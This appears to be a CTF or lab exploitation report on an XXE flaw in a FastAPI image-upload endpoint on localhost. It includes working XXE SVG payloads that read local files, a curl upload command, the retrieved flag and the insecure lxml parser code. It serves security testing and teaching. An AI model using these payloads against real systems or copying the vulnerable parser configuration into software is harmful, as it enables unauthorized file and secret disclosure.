# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: XXE-Based Local File Disclosure via Unsafe XML Parser Configuration

**Summary:**
- **Vulnerable location:** POST / endpoint with `image` file upload parameter
- **Impact:** Complete local filesystem access enabling arbitrary file disclosure, including successful CTF flag retrieval
- **Severity:** CRITICAL

**Prerequisites:**
None - the endpoint is publicly accessible without authentication, CSRF protection, or any input validation.

**Exploitation Steps:**

1. **Create malicious XML payload with external entity declaration**

Create a file named `xxe_payload.svg` with the following content:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="15">&xxe;</text>
</svg>
```

This payload exploits the insecure XML parser configuration at `/app/main.py:36` where `load_dtd=True` and `resolve_entities=True` are explicitly enabled. The external entity `&xxe;` references the local file `file:///app/flag.txt` which will be resolved and expanded by the parser.

2. **Upload the malicious payload via multipart form submission**

Execute the following curl command to upload the XXE payload:

```bash
curl -X POST http://localhost:32973/ \
  -F name=test \
  -F surname=user \
  -F address=test_address \
  -F image=@xxe_payload.svg \
  -s -o response.html
```

**Parameters:**
- `name`: Any string value (required form field)
- `surname`: Any string value (required form field)  
- `address`: Any string value (required form field)
- `image`: The malicious SVG file containing XXE payload (file upload parameter)

3. **Retrieve the flag from the HTML response**

Extract the flag from the response:

```bash
grep -o 'FLAG{[^}]*}' response.html
```

**Proof of Impact:**

The exploitation successfully retrieved the CTF flag from `/app/flag.txt`:

```
FLAG{c09fa0c9738d281e95d7623b48394b080e205d8862bbde171b3ef99294c4cdf3}
```

**Response snippet showing flag disclosure:**
```html
<div class="mt-3">
    <h5>Current Image:</h5>
    <div><svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="15">FLAG{c09fa0c9738d281e95d7623b48394b080e205d8862bbde171b3ef99294c4cdf3}</text>
</svg></div>
</div>
```

**Technical Details:**

The vulnerability exists due to the combination of three factors:

1. **Insecure XML Parser Configuration** (`/app/main.py:36`):
   ```python
   parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
   tree = etree.fromstring(image_content, parser)
   ```
   
2. **Zero Input Validation**: No validation on uploaded file content, size, or type

3. **Non-Blind Response Reflection** (`/app/templates/index.html:32`):
   ```html
   <div>{{ profile.image | safe }}</div>
   ```
   The `| safe` filter disables HTML escaping, allowing complete reflection of file contents

**Attack Flow:**
```
1. Attacker uploads malicious XML with external entity declaration
   ↓
2. FastAPI receives file upload at POST / endpoint (no authentication required)
   ↓
3. Application reads file content: image_content = await image.read()
   ↓
4. lxml parser processes XML with resolve_entities=True
   ↓
5. Parser encounters <!ENTITY xxe SYSTEM "file:///app/flag.txt">
   ↓
6. libxml2 reads /app/flag.txt from container filesystem
   ↓
7. Entity &xxe; is replaced with flag file contents
   ↓
8. Expanded XML stored in profile.image field
   ↓
9. Jinja2 template renders {{ profile.image | safe }} without escaping
   ↓
10. Flag value visible in HTTP response body
```

**Additional Verification:**

To further confirm arbitrary file read capability, the same technique was used to retrieve application source code:

**Payload:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///app/main.py">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="15">&xxe;</text>
</svg>
```

**Result:** Successfully retrieved complete source code of `/app/main.py`, confirming arbitrary file disclosure capability beyond just the flag file.

**Notes:**

- **SSRF Type:** Non-blind SSRF with complete response reflection
- **Protocol Used:** `file://` (local filesystem access)
- **Network Protocols:** HTTP/HTTPS protocols may be blocked by default `no_network=True` setting in lxml, but `file://` protocol remains exploitable
- **Authentication Required:** None - completely public endpoint
- **CSRF Protection:** None
- **Rate Limiting:** None - unlimited exploitation attempts allowed
- **Container Privileges:** Application runs as root (UID 0) with unrestricted filesystem access
- **Exploitability:** CRITICAL - single HTTP request achieves complete objective
- **Time to Exploit:** < 1 minute from payload creation to flag retrieval